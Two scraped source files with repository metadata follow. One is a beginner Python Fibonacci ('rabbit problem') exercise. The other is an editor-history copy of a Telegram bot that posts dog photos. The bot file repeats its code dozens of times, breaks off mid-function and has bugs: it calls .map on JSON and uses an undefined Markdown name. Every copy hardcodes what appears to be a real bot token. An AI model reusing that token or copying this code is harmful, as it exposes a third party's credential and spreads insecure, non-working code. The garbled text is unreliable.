5085dfd5517c891a1f5f8d99bf698cd4bf3bf419
/011.py
d86312728c2b2022599d385aa1a6c6bbb68e2b38
[]
no_license
Lightwing-Ng/100ExamplesForPythonStarter
01ffd4401fd88a0b997656c8c5f695c49f226557
56c493d38a2f1a1c8614350639d1929c474de4af
refs/heads/master
2020-03-10T22:07:37.340512
2018-04-15T13:16:30
2018-04-15T13:16:30
129,611,532
0
0
null
null
null
null
UTF-8
Python
false
false
574
py
#!/usr/bin/env python # _*_ coding:utf-8 _*_ """ * @author: Lightwing Ng * email: [email protected] * created on Apr 14, 2018, 8:00 PM * Software: PyCharm * Project Name: Tutorial 题目:古典问题:有一对兔子,从出生后第3个月起每个月都生一对兔子,小兔子长到第三个月后每个月又生一对兔子,假如兔子都不死,问每个月的兔子总数为多少? 程序分析:兔子的规律为数列1,1,2,3,5,8,13,21.... """ a = 1 b = 1 for i in range(1, 22): print("%12ld, %12ld" % (a, b)) a = a + b b = a + b
5a54740afe15070b39db9868f83c1a098155c9fe
4cf3f8845d64ed31737bd7795581753c6e682922
/.history/main_20200118153225.py
768d223f5d13b7b680d5a1455bcc39df9f6456b2
[]
no_license
rtshkmr/hack-roll
9bc75175eb9746b79ff0dfa9307b32cfd1417029
3ea480a8bf6d0067155b279740b4edc1673f406d
refs/heads/master
2021-12-23T12:26:56.642705
2020-01-19T04:26:39
2020-01-19T04:26:39
234,702,684
1
0
null
2021-12-13T20:30:54
2020-01-18T08:12:52
Python
UTF-8
Python
false
false
351,339
py
from telegram.ext import Updater, CommandHandler import requests import re # API call to source, get json (url is obtained): contents = requests.get('https://random.dog/woof.json').json() image_url = contents['url'] def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher 